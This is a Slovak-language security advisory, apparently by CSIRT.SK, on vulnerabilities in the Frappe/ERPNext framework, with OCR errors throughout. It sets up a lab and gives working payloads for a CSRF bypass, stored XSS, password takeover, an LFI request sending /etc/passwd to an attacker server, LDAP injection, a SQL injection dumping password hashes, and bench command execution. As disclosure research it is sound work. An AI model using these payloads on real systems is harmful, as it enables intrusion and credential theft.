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Zhrnutie

Struc¢ny prehlad pythonovského frameworku Frappe, ktory vykonali vyskumnici CSIRT.SK,
odhalil mnozstvo zranitel'nosti umoznujucich utoénikom vykonavat rézne druhy utokov. V
zékladni kodu sa moéze nachadzat’ mnozstvo d’alSich chyb, ktoré len ¢akaji na objavenie.

Kod vsetkych ukazok zneuzitia zraniteI'nosti je k dispozicii v repozitdri github.

Vsetky tieto zraniteInosti boli otestované na frappe docker s obrazom frappe/erpnext:v15.54.4.
Podl'a naSej vedomosti vSetky exploity stale funguju vo frappe/erpnext:v15.57.0 okrem
obidenia CSRF. Je mozné, ze v novsich verziach budu tieto zranitel'nosti opravené, ked’ze boli
autorom nahldsené uz pred niekolkymi mesiacmi. V prvej Casti tohto ¢lanku si prejdeme
konfiguraciu lokalneho prostredia na testovanie diskutovanych zranitelnosti. Ak uz mate
spusteny ciel’ frappe, pokojne tito Cast’ preskocte.

Konfigurovanie lokalneho testovacieho prostredia

Na nastavenie lokalneho testovacieho prostredia je potrebné mat nainStalovany docker.
Nakonfigurovanie pozostava z troch hlavnych krokov.

1. Vytvorenie kontajnera docker
1. Stiahnite si oficidlny repozitar github

git clone https://github.com/frappe/frappe_docker

2. 'V prieCinku frappe docker v stbore pwd.yml zmente vSetky verzie obrazu
frappe/erpnext na v15.54.4

sed -i -e "s/frappeVerpnext:.*$/frappeVerpnext:v15.54.4/g" pwd.yml

3. Pridajte subor config.json do prie¢inku frappe docker s nasledovnym obsahom:

{
"db_host": "db",

"db_port™: 3306,

"redis_cache": "redis://redis-cache:6379",
"redis_queue": "redis://redis-queue:6379",
"redis_socketio™: "redis://redis-queue:6379",
"socketio_port": 9000,

"allowed_referrers™: ["example.com”]

¥

Daélezitou cast'ou je allowed_referrers, ktora je jednou zo zranite'nych funkcii.
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4. Pridajte novy volume pre frontendovt sluzbu v subore pwd.yml, aby ste prepojili
konfiguraciu spolo¢nej lokality so sluzbou frappe. Volumes pre sluzbu frontend by mali
vyzerat’ nasledovne:

5. Pridajte sluzbu ldap v stbore pwd.yml aby bolo mozné neskor povolit’ autentifikaciu
Idap vo Frappe.
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6. Nakoniec jednoducho spustite docker compose ako v beznej instalacii Frappe docker.

2. InStalacia Frappe

Tento krok je jednoduchy. Sta&i prejst na http://localhost:8080 a prejst krokmi instalacie.
Predvolené prihlasovacie udaje pouZivatela st Administrator:admin. Dokoncenie inStalacie

moze chvil’u trvat’.

3. Konfiguracia LDAP
1.1. Konfiguracia autentifikacie LDAP vo Frappe

Po prihlaseni ako Administrator chod’te na http://localhost:8080/app/Idap-settings.
V konfiguracii urobte nasledujuce nastavenia:

e Directory Server: OpenLDAP

e LDAP Server Url: Idap://openldap:389

e Base Distinguished Name (DN): cn=admin,dc=example,dc=org
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e Password for Base DN: admin
e LDAP search path for Users: dc=example,dc=org

e LDAP search path for Groups: dc=example,dc=org

¢) CSIRT.SK

e LDAP Search String: (&(objectClass=posixAccount)(uid={0}))

e LDAP Email Field: mail
e |LDAP Username Field: uid
e LDAP First Name Field: mail

e Default User Type: Website User

Zaskrtnite pole Enabled a ulozte nastavenia.

1.2. Napliite databazu LDAP testovacimi datami

Ked’ mate pripravené dockerovské testovacie prostredie, skontrolujte ID kontajnera
openldap a spustite v iom shell.

Pre ziskanie ID zadajte nasledujici prikaz:
docker ps | grep openldap | awk ‘{print $1}'
V nasom pripade je vysledok 26dbb5abd343

Spustite BASH v kontajneri pomocou nasledujuceho prikazu:

docker exec -it 26dbb5abd343 /bin/bash
Zapiste nasledujuce riadky do sample.ldif:
# Organizational Units

dn: ou=Users,dc=example,dc=org
objectClass: organizationalUnit
ou: Users

# Sample Users

dn: uid=jdoe,ou=Users,dc=example,dc=org
objectClass: inetOrgPerson

objectClass: posixAccount

objectClass: shadowAccount

cn: John Doe

sn: Doe

givenName: John

uid: jdoe
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mail: jdoe@example.org

uidNumber: 1001

gidNumber: 1001

homeDirectory: /home/jdoe

userPassword: {SSHA}C3xHC0Sg2lIL/gbDdyZIFmEo/OU3VY Qo

e pouzite ldapadd pre pridanie zaznamov do databazy:
Idapadd -x -D "cn=admin,dc=example,dc=org" -W -f dample.ldif
e zadajte heslo pre Idap (admin), ked’ si ho aplikacia vyziada

Po ukonceni by ste mali mat’ moznost prihlasit’ sa cez ldap ako jdoe@example.org s
heslom jdoe_secure_password.
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Objavene¢ zranitel'nosti

1.

Cross-Site Request Forgery (CSRF)

Pre dosiahnutie CSRF vo frameworku Frappe potrebujeme zneuzit’ dve chyby zabezpecenia.

1.1. Obidenie validacie CSRF

Prva chyba vznikla po pridani commitu v novembri 2024
(https://github.com/frappe/frappe/commit/d4382dc02055ff19966f71ab1579ffaa22c1a0a8).
ZraniteI'na metoda, ktora tito chybu obsahuje, je is_allowed_referrer.

def is_allowed_referrer(self):
referrer = frappe.get_request_header("Referer™)
origin = frappe.get_request_header("Origin™)

allowed_referrers = frappe.cache.get_value(
"allowed_referrers",
generator=lambda: frappe.conf.get("allowed_referrers”, []),

)

return (referrer and any(referrer.startswith(allowed) for allowed in allowed_referrer

s)) or (

origin and any(origin == allowed for allowed in allowed_referrers)

)

Kontrola overuje iba to, ¢i zadany referrer zacina povolenym referrerom. To znamena, Ze
ak vyvojar povoli doménu example.com, uto¢nik moze pouzit napriklad doménu
example.com.attacker.com, ktora prejde kontrolou. Utoc¢nik tak uspeSne obide overenie
CSRF.

1.2. Spractuvanie poziadaviek GET a POST rovnakym sposobom

Frappe CMS v niektorych pripadoch vo svojich obsluznych programoch API spractiva
poziadavky GET rovnakym spdsobom ako poZiadavky POST. To umoziuje uto¢nikovi
obist’ atribut SameSite=Lax nastaveny v session cookie.

Napriklad pri volani koncového bodu API
/api/method/frappe.utils.print_format.report_to_pdf moze tto¢nik pouzit’ poziadavku GET
alebo POST na spustenie generovania PDF, €o ul’'ah¢uje zneuzitie zranitel'nosti CSRF.

1.3. Jednoduchy priklad zneuzitia zranite'nosti CSRF

Ak uto¢nik umiestni na svoju doménu example.com.attacker.com nasledujici obsah
HTML, méze zmenit' heslo navstevnika, ktory je prihlaseny do Frappe umiestneného na
example.com (detailnej$ie pri zranitel'nosti ¢. 3).
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<meta http-equiv="refresh" content="0; url=http://example.com/api/method/frappe.desk
.page.user_profile.user_profile.update_profile_info?profile_info=%7b%22new_password
%22%32%20%22TestPassword123456%3f%22%7d"/>

Kedze toto presmerovanie uskutocniuje poziadavku typu GET, session cookies budu
odoslané spolu s poziadavkou kvoli atributu SameSite=Lax. Hlavicka Referrer bude tiez
nastavena na example.com.attacker.com, prejde kontrolou is_allowed_referrer a tspesne
sa vykona.

Dal§im sposobom zneuzitia CSRF je utok na webovy server pomocou LFI zneuZivajic
CVE-2025-26240. Ak by bol obsah http na serveri uto¢nika nasledovny, titocnik by videl
obsah /etc/passwd odosielany na jeho server poc¢uvajici na http://172.17.0.1:8888.

<meta http-equiv="refresh" content="0; url=http://example.com/api/method/frappe.utils.
print_format.report_to_pdf?html=<meta+name%3d'pdfkit-print-media-type'+content%3d"
><meta+name%3d'pdfkit-background'+content%3d"><meta+name%3d'pdfkit-images'+co
ntent%3d"><meta+name%3d'pdfkit-quiet'+content%3d"><meta+name%3d'pdfkit-encodi
ng'+content%3d"><meta+name%3d'pdfkit-margin-right'+content%3d"><meta+name%3d'
pdfkit-margin-left'+content%3d"><meta+name%3d'pdfkit-margin-top'+content%3d"><m
eta+name%3d'pdfkit-margin-bottom'+content%3d"><meta+name%3d'pdfkit-cookie-jar'+c
ontent%3d"><meta+name%3d'pdfkit-page-size'+content%3d"><meta+name%3d'pdfkit-q
uiet'+content%3d">+<meta+name%3d'pdfkit---disable-local-file-access'+content%3d">+
<meta+name%3d'pdfkit---allow'+content%3d'/etc'>+<meta+name%3d'pdfkit---post-file'+
content%3d">+<meta+name%3d'pdfkit-file--a'+content%3d'/etc/passwd'>+<meta+name
%3d'pdfkit-http%3a//172.17.0.1%3a8888%3fLFI-TEST%3d--"+content%3d'--cache-dir'>
+<h1>LFI+POC</h1>"/>
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2. Stored XSS

Ked odosleme poziadavku POST obsahujucu napriklad {"user_image":"http://\"><img src=x
onerror=console.log(document.cookie)>"} ako hodnotu parametra profile_info, mézeme
vidiet’, ze obrazok je vykresleny a cookies dokumentu st zaznamenané v konzole.

Poziadavka:

POST /api/method/frappe.desk.page.user_profile.user_profile.update_profile_info HTTP/1.1
Host: localhost:8080

X-Frappe-CSRF-Token: 1a34e75a0c0471bf0138c5ab966040a59a2f5290f811314f19bb85¢3
Cookie: sid=1612f02626922182dfbe581e3f3961a9c36eflbl4efa7b26f880715a
Content-Length: 128

Content-Type: application/x-www-form-urlencoded

profile_info=%7b%22user_image%22%3a%22http%3a%2f%2f%5c%22%3e%3cimg%?20src
%3dxyz%200onerror%3dconsole.log(document.cookie)%3e%22%7d

Vysledok:

c @ localhost:8080/app/user-profile

— Administrator

Overview

&>

Tento payload sa prejavuje aj na stranke http://localhost:8080/app/home, hoci nie je viditelny
pre pouzivatel'a (payload sa stale vykonava).
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3. Zmena hesla

Utoénik mdze zmenit’ heslo overeného pouZivatel'a aj bez toho, aby poznal jeho aktualne heslo.
To mozno dosiahnut' odoslanim payloadu JSON {"new_password™:" Oxdeadbeef"} do
parametra profile_info % koncovom bode
/api/method/frappe.desk.page.user_profile.user_profile.update_profile_info.

Poziadavka:

POST /api/method/frappe.desk.page.user_profile.user_profile.update_profile_info HTTP/1.1
Host: localhost:8080

Cookie: system_user=no; user_image=; sid=c75135de8c12dbcaad33e6f92901703828da54eb4
63148587d323767; full_name=test; user_id=test%40test.test

Content-Type: application/x-www-form-urlencoded

Content-Length: 44

profile_info={"new_password"%3a"0xdeadbeef"}
Odpoved’:

HTTP/1.1 200 OK

Server: nginx/1.22.1

Date: Fri, 16 May 2025 09:11:03 GMT
Content-Type: application/json
<SNIP>

Po GispeSnom odoslani poziadavky sa moze pouZivatel’ prihlasit’ novym heslom.

PozZiadavka:

POST /login HTTP/1.1

Host: localhost:8080

Content-Length: 43

Content-Type: application/x-www-form-urlencoded

cmd=login&usr=test@test.test&pwd=0xdeadbeef
Odpoved’:

HTTP/1.1 200 OK

Server: nginx/1.22.1

Set-Cookie: sid=5fbcd629e3d859ba69acfd8718ae79d6dac5d40b2754dafa7f6e859a; Expires=Fri, 23
May 2025 11:14:03 GMT; Max-Age=612000; HttpOnly; Path=/; SameSite=Lax

<SNIP>

V kombinécii s obidenim CSRF moéze tito zranitelnost’ viest k uplnému ovladnutiu
pouzivatel'ského konta.
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Na zneuzitie obidenia CSRF je potrebné najprv odoslat’ POST poziadavku na zmenu hesla a
potom je moZné heslo zmenit’ aj pomocou GET poZiadaviek nasledovne.

Poziadavka:

Odpoved’:

Po zmene hesla sa méze pouzivatel’ prihlasit’ s novymi udajmi Oxdeadbeef123.

Poziadavka:

Odpoved’:

Zistili sme, Ze toto spravanie je prili§ nedeterministické na to, aby sa dalo I'ahko zneuzit,, ale
rozhodli sme sa ho zahrntit’ do ¢lanku, pretoze je to problém a vektor utoku nie je prili$ zlozity.
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4. Zneuzitie CVE-2025-26240 vo Frappe CMS - Autentifikované SSRF / LFI

Ako sme uviedli v naSom predchadzajucom ¢lanku o zranitel'nosti pdfkit - CVE-2025-26240
(blogovy prispevok) - uto¢nik moze zneuzit' metodu from_string na dosiahnutie SSRF alebo
LFI. V systéme Frappe CMS musi byt uto¢nik autentifikovany, aby mohol zavolat
/api/method/frappe.utils.print_format.report_to_pdf endpoint.

Ked'Ze Frappe pridava niekol’ko predvolenych moznosti, musime ich vyfabrikovat’ tak, aby
sme zabezpecili, ze sa zobrazia pred nasimi vlastnymi argumentmi. NiZSie je uvedeny priklad
dokumentu HTML, ktory potrebujeme odoslat’ na dosiahnutie LFI v ramci Frappe:

<meta name="pdfkit-print-media-type' content="">

<meta name="pdfkit-background" content="">

<meta name="pdfkit-images’ content="">

<meta name="pdfkit-quiet’ content="">

<meta name="pdfkit-encoding’ content="">

<meta name="pdfkit-margin-right' content="">

<meta name="pdfkit-margin-left' content="">

<meta name="pdfkit-margin-top’ content="">

<meta name="pdfkit-margin-bottom’ content="">

<meta name="pdfkit-cookie-jar' content="">

<meta name="pdfkit-page-size' content="">

<meta name="pdfkit-quiet’ content="">

<meta name="pdfkit---disable-local-file-access' content="">
<meta name="pdfkit---allow"' content="/etc'>

<meta name="pdfkit---post-file' content="">

<meta name="pdfkit-file--a' content="/etc/passwd">

<meta name="pdfkit-http://172.17.0.1:88887?LFI-TEST=--' content="--cache-dir'>
<h1>LFI POC</h1>

V payloade, http://172.17.0.1:8888 je uto¢nikom kontrolovany server so serverom Python
pocuvajucim na porte 8888.

Po odoslani HTML dostaneme obsah suboru /etc/passwd, presne tak, ako je to uvedené v
naej analyze CVE-2025-26240 (blogovy prispevok).

Podobne by sme mohli dosiahnut' SSRF pouzitim argumentu --Script a bezprostredne po iom
pridat’ --disable-javascript a --enable-javascript. Ked’Ze autori Frappe implementovali

bezpe¢nostné nastavenia pre zakazanie JavaScriptu pomocou {"disable-javascript™: ™",
"disable-local-file-access": "}, tato manipulacia u¢inne obchadza tuto ochranu.

TLR: Clear

12


https://habuon.github.io/2025/03/12/pdfkit-vulnerability-(CVE-2025-26240).html
https://habuon.github.io/2025/03/12/pdfkit-vulnerability-(CVE-2025-26240).html

MINISTERSTVO
INVESTICIi, REGIONALNEHO ROZVOJA
A INFORMATIZACIE .

SLOVENSKE| REPUBLIKY

5. Injektovanie LDAP

Zranite'nost’ umoznujica injektovanic LDAP sa nachadza v ldap_settings.py, konkrétne v
nasledujucich metodach:

*  reset_password (riadok 339) (iba autentifikovany pouzivatel'’) — Pouzivatel'sky vstup
sa pouziva priamo vo vyhladavacom filtri LDAP search_filter =

' ({self.ldap_email_field}={user}

e  To umoziuje utocnikovi injektovat’ 'ubovol'né vyhl'adavacie filtre LDAP, ¢im
moze ziskat’ zdznamy pouzivatel'ov alebo zmenit’ spravanie pri overovani.

PozZiadavka:

GET
/api/method/frappe.integrations.doctype.ldap_settings.ldap_settings.reset_pass
word?user=admin*&password=test&logout=0

e  Tosadazneuzit aj pomocou obidenia CSRF, ¢im sa dosiahne neautentifikovana
zmena hesla LDAP akéhokol'vek pouzivatela.

»  authenticate (riadok 311)
Pri vytvarani vyhladavacieho filtra LDAP sa pouziva pouzivatel'sky vstup
nebezpecnym spdsobom user_filter = self.Idap_search_string.format(username)

e To mdze uto¢nikovi umoznit' vytvorit' vstup, ktory manipuluje s dotazom
LDAP, a tak pripadne ziskat pristup k citlivym informaciam pouzivatel’a.

Poziadavka:

POST /api/method/frappe.integrations.doctype.ldap_settings.Idap_settings.login Host:
localhost:8080

Content-Length: 54

X-Requested-With: XMLHttpRequest

Content-Type: application/json

“usr”:“adm)(|(cn=)(|(sn=)(](cn=)))”, “pwd”:“test”}
e TosadazneuZit vo vacsich databazach LDAP na Casovy utok, pretoZe aplikacia

najprv skontroluje, ¢i pouZivatel’ existuje, a potom sa pokusi opitovne nadviazat
spojenie s nacitanym pouzivatelom a poskytnutym heslom.
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6. Autentifikovand SQL injection
Dopyt SQL v metode execute_query je formatovany nasledovne:

query = """select {fields}
from {tables}
{conditions}

{group_by}
{order_by}

{limit}""".format(**args)

Pre order_by a group_by je aplikovany podobny filter. Obchadzany filter sa nachadza v stibore
frappe.model.db_query.py (riadok 1114):

if "select” in _lower and "from™ in _lower:

Uto¢nik modZe obist’ tiito kontrolu nasledujicim nastavenim:

group_by = "name UNION SELECT ™
order_by = "",null,...,null,name,password FROM __Auth"

To vedie k dopytu, ktory extrahuje pouzivatel'ské meno a hash hesla z tabul’ky __ Auth.
Odoslanim nasledujucej poziadavky:

GET /api/method/frappe.desk.reportview.export_query?ignore_permissions=True&doctype=

Notification+Settings&fields=*&file_format_type=CSV&group_by=name+UNION+SELEC

T+'&order_by=",null,null,null,null,null,null,null;null,null,null,null,null;null,null,null,null,name
,password+FROM+__ Auth HTTP/1.1

Host: localhost:8080

Cookie: system_user=no; user_image=; sid=1a04399debb6cfc1d63eb5f52d12fb03b03b8c216
7e63a953f6d4404; full_name=jdoe%40example.org; user_id=jdoe%40example.org

Ziskame:

HTTP/1.1 200 OK
Content-Disposition: filename="Notification Settings.csv"

"admin@admin.admin”,"$pbkdf2-sha256$29000$SGnNOcc4Z.xdK6WOVsoZAw$4DtTeEua
TigMbuNXjQW.DYWSsrly25qJuTvFWB5/ANNC"

To potvrdzuje, ze autentizovany utocnik moze ziskat’ hash hesla z tabul’ky __Auth, ¢o umoziuje
offline utoky hrubou silou. Tabul’ku Notification Settings sme pouZili preto, Ze sa zda, Ze vSetci
pouzivatelia maju pre nu predvolene prava na export, rovnako ako napriklad pre tabul’ku Tag a
dalsie.
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7. Vykonavanie kodu

Posledna zranitel'nost’, o ktorej budeme diskutovat’, nie je taka zavazna, avSak moze viest’ k
zaujimavému zvySeniu opravneni v pripade, Ze su kompromitovanym uctom nespravne
nastavené prava sudo.

Frappe pouziva prikazovy riadok bench. Zaroven implementuje niekol’ko vlastnych prikazov,
z ktorych jeden je run-patch. Run-patch méa nedokumentovanu funkciu, ktorda umoziuje
pouzivatel'ovi spustit’ kod Pythonu v jednoduchej funkcii Python exec bez akéhokol'vek
sandboxu alebo obmedzeni. Ked’ pouzivatel’ spusti prikaz bench run-patch 'execute:import
0s;0s.system("touch /tmp/test.txt")’, vytvori sa subor test.txt, ktory ukazuje, Zze systémovy
prikaz bol ispesne vykonany.

frappea23b74066cd35:~/frappe-bench$ bench run-patch 'execute:import os;os.system("touch /tmp/test.txt")
Executing execute:import os;os.system("touch /tmp/test.txt") in frontend (_5e5899d8398b5f7b)

Success: Done in 0.28s
frappe@23b74066cd35:~/frappe-bench$ 1s /tmp
test.txt

To sa da zneuzit napriklad na zvySenie opravneni v pripade, Ze kompromitované pouzivatel'ské
konto ma prava sudo na spustenie bench run-patch *. Rovnaky pripad méze nastat’ aj ked’
existuje vlastna administratorska stranka na aplikovanie zaplat, ktori mozno zneuzit’ pomocou
uz spominané¢ho SSRF.
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